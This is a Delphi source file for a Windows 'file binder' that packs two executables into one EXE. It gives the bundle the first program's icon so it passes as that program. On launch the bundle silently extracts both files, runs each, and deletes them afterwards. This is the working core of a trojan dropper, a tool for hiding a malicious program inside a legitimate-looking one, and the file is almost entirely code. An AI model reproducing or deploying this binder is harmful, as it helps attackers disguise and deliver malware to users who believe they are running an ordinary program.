{**********************************************************************
authors :sjctheworld
e_mail:sjctheworld@sohu.com
copyright:2003--2004
self file icon start address 436224
icon file start address 126 size 640
self file spare size 13032
***********************************************************************}
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Buttons, ExtCtrls, Grids,ShellAPI;

type
  TForm1 = class(TForm)
    Panel2: TPanel;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    Label6: TLabel;
    Panel1: TPanel;
    OpenDialog1: TOpenDialog;
    SaveDialog1: TSaveDialog;
    Label1: TLabel;
    Edit1: TEdit;
    Label2: TLabel;
    Edit2: TEdit;
    SpeedButton1: TSpeedButton;
    SpeedButton2: TSpeedButton;
    GroupBox1: TGroupBox;
    SpeedButton3: TSpeedButton;
    Edit3: TEdit;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Timer1: TTimer;
    procedure Button3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Panel2DblClick(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure SpeedButton1Click(Sender: TObject);
    procedure SpeedButton2Click(Sender: TObject);
    procedure SpeedButton3Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
    function opendl:string;
    procedure check;
    procedure bindfile;
    procedure unbindfile;
    function mystring(var Buffer1):string;
    function getwinpath:string;
    procedure creatproc(filename:string);
  public
    { Public declarations }
  end;
const
mysize=436224;
var
  Form1: TForm1;
  //
  oldheight,newheight:integer;
  errmsg:string;
  checkvar:boolean;
  Buffer: Array[0..20] of Char;
implementation

{$R *.DFM}


procedure TForm1.Button3Click(Sender: TObject);
begin
  close;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  m_self,file_self:TMemoryStream;
begin
   form1.Top:=(screen.Height-form1.Height) div 2;
   form1.Left:=(screen.Width-form1.Width) div 2;
  //
  oldheight:=form1.ClientHeight;
  newheight:=form1.ClientHeight+panel2.ClientHeight;
  form1.AutoSize:=true;
  //get self file
  file_self:=tmemorystream.Create;
  file_self.LoadFromFile(application.exename);
  m_self:=TMemoryStream.Create;
  m_self.LoadFromStream(file_self);
  // mysize
  if m_self.Size>mysize then
  begin
   ///application.ShowMainForm:=false;
   unbindfile;
   exit;
  end;
  file_self.Free;
  m_self.Free;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
i:integer;
begin
 if button2.Caption='&About' then
  begin
   panel2.Visible:=true;
   for i:=ClientHeight to newheight do
    begin
     form1.ClientHeight:=i;
     update;
    end;
    button2.Caption:='&Restore';
  end
  else
  begin
    panel2.Visible:=false;
    form1.ClientHeight:=oldheight;
    button2.Caption:='&About';
    timer1.Enabled:=false;
  end;
end;

procedure TForm1.Panel2DblClick(Sender: TObject);
begin
   timer1.Enabled:=true;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
   if label3.Top < 0 then
   begin
     label3.Visible:=false;
     label3.top:=panel2.top-60;
   end
   else
   begin
     label3.Visible:=true;
     label3.top:=label3.top-2;
   end;
//
     if label4.Top < 0 then
   begin
     label4.Visible:=false;
     label4.top:=panel2.top-60;
   end
   else
   begin
     label4.Visible:=true;
     label4.top:=label4.top-2;
   end;
   //
        if label5.Top < 0 then
   begin
     label5.Visible:=false;
     label5.top:=panel2.top-60;
   end
   else
   begin
     label5.Visible:=true;
     label5.top:=label5.top-2;
   end;
   //
        if label6.Top < 0 then
   begin
     label6.Visible:=false;
     label6.top:=panel2.top-60;
   end
   else
   begin
     label6.Visible:=true;
     label6.top:=label6.top-2;
   end;
end;

procedure TForm1.check;
begin
  checkvar:=true;
  if edit1.Text='' then begin
  errmsg:='Source File Path Can Not Empty!'+#13;
  checkvar:=false;
  end;
  if edit2.Text='' then begin
  errmsg:=errmsg+'Destination File Path Can Not Empty!'+#13;
  checkvar:=false;
  end;
  if edit3.Text='' then begin
  errmsg:=errmsg+'Fnally File Path Can Not Empty!';
  checkvar:=false;
  end;
end;
procedure TForm1.Button1Click(Sender: TObject);
//var i:integer;
begin
  check;
  if checkvar=false then
  begin
  MessageDlg(errmsg, mtInformation,[mbOk], 0);
  errmsg:='';
  //checkvar:=true;
  end
  else
  begin
  //bing function
  bindfile;
  end;
end;

procedure TForm1.bindfile;
var
  m_icon,m_self,m_sour,m_dest,m_fnally:TMemoryStream;
  file_self,file_sour,file_dest: TMemoryStream;
  sIcon:TIcon;
  temp:integer;
  my_count:string;
begin
  //get self file
  file_self:=tmemorystream.Create;
  file_self.LoadFromFile(application.exename);
  //get source file
  file_sour:=TMemoryStream.Create;
  file_sour.LoadFromFile(edit1.Text);
  //get destination file
  file_dest:=TMemoryStream.Create;
  file_dest.LoadFromFile(edit2.Text);
  //get source file icon
  sIcon:=TIcon.Create;
  sIcon.Handle:=ExtractIcon(Handle,PChar(edit1.Text),0);
  //begin bind file
  if sIcon.handle<>0 then
    begin
      m_icon:=TMemoryStream.Create;
      m_self:=TMemoryStream.Create;
      m_sour:=TMemoryStream.Create;
      m_dest:=TMemoryStream.Create;
      m_fnally:=TMemoryStream.Create;
      sIcon.SaveToStream(m_icon);
      //sIcon.SaveToFile('test.ico');
      m_self.LoadFromStream(file_self);
      m_sour.LoadFromStream(file_sour);
      m_dest.LoadFromStream(file_dest);
      //chang icon
      temp:=m_self.Size-13032-640;
      m_self.Position:=0;
      m_fnally.CopyFrom(m_self,temp);
      m_icon.Position:=126;
      m_fnally.CopyFrom(m_icon,640);
      m_self.Position:=temp+640;
      m_fnally.CopyFrom(m_self,13032);
      //write sourfile size
      my_count:=inttostr(m_sour.Size);
      StrPCopy(buffer,PChar(my_count));
      m_fnally.Write(buffer,10);
      //bind sourfile
      m_fnally.CopyFrom(m_sour,m_sour.Size);
      //write destfile size
      my_count:=inttostr(m_dest.Size);
      StrPCopy(buffer,PChar(my_count));
      m_fnally.Write(buffer,10);
      //bind destfile
      m_fnally.CopyFrom(m_dest,m_dest.Size);
      //fnally file
      m_fnally.SaveToFile(edit3.Text+'.exe');
      //free
      m_icon.Free;
      m_sour.Free;
      m_dest.Free;
      m_self.Free;
      m_fnally.Free;
    end;
    //free
    file_self.Free;
    file_sour.Free;
    file_dest.Free;
    sIcon.Free;
    MessageDlg('Bind File succeed.', mtInformation,[mbOk], 0);
end;

function TForm1.opendl:string;
begin
 opendialog1.Filter:='Exe file(*.exe)|*.EXE';
 if opendialog1.Execute then
  Result:=opendialog1.FileName;
end;

procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
  edit1.Text:=opendl;
end;

procedure TForm1.SpeedButton2Click(Sender: TObject);
begin
  edit2.Text:=opendl;
end;

procedure TForm1.SpeedButton3Click(Sender: TObject);
begin
   savedialog1.Filter:='Exe file(*.exe)|*.EXE';
   if savedialog1.Execute then
    edit3.Text:=savedialog1.FileName;
end;

procedure TForm1.unbindfile;
var
  m_self,m_sour,m_dest:TMemoryStream;
  file_self,file_sour,file_dest: TMemoryStream;
  mycount:string;
  i:integer;
  temp:integer;
  y:Cardinal;
begin
  file_self:=tmemorystream.Create;
  file_self.LoadFromFile(application.exename);

  m_self:=TMemoryStream.Create;
  m_self.LoadFromStream(file_self);
  //get source file size
  m_self.Position:=mysize;
  m_self.Read(buffer,10);
  mycount:=mystring(buffer);
  //create soure file
  m_sour:=tmemorystream.Create;
  m_self.Position:=mySize+10;
  m_sour.CopyFrom(m_self,strtoint(mycount));
  m_sour.SaveToFile('11111111111.exe');
  //get destination file size
  temp:=mysize+10+strtoint(mycount);
  m_self.Position:=temp;
  m_self.Read(buffer,10);
  mycount:=mystring(buffer);
  //create destionation file
  m_dest:=tmemorystream.Create;
  m_self.Position:=temp+10;
  m_dest.CopyFrom(m_self,strtoint(mycount));
  m_dest.SaveToFile('22222222222.exe');
  //
  creatproc('11111111111.exe');
  creatproc('22222222222.exe');
  close;
  exitprocess(y);
end;

function Tform1.mystring(var buffer1):string;
var
i:integer;
s:string;
begin
   for i:=0 to strlen(buffer) do
   begin
     s:=s+buffer[i];
   end;
     result:=s;
end;

function TForm1.getwinpath:string;
var
sysdir:array[0..255] of char;
begin
  getwindowsdirectory(sysdir,255);
  result:=sysdir;
end;

procedure Tform1.creatproc(filename:string);
var
  WorkDir:String;
  StartupInfo:TStartupInfo;
  ProcessInfo:TProcessInformation;
  y:Cardinal;
begin
  WorkDir:=ExtractFileDir(Application.ExeName);
  FillChar(StartupInfo,Sizeof(StartupInfo),#0);
  StartupInfo.cb:=Sizeof(StartupInfo);
  StartupInfo.dwFlags:=STARTF_USESHOWWINDOW;
  StartupInfo.wShowWindow:=SW_SHOWDEFAULT;
  CreateProcess(nil,
    PChar(FileName),               { pointer to command line string }
    nil,                           { pointer to process security attributes }
    nil,                           { pointer to thread security attributes }
    True,                          { handle inheritance flag }
    CREATE_NEW_CONSOLE or          { creation flags }
    NORMAL_PRIORITY_CLASS,
    nil,                           { pointer to new environment block }
    PChar(WorkDir),                { pointer to current directory name, PChar}
    StartupInfo,                   { pointer to STARTUPINFO }
    ProcessInfo);
    WaitforSingleObject(ProcessInfo.hProcess, INFINITE);
    GetExitCodeProcess(ProcessInfo.hProcess,y);
    CloseHandle(ProcessInfo.hProcess);  { to prevent memory leaks }
    CloseHandle(ProcessInfo.hThread);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  { delete tmpfile }
  if FileExists('11111111111.exe') then DeleteFile('11111111111.exe');
  if FileExists('22222222222.exe') then DeleteFile('22222222222.exe');
end;

end.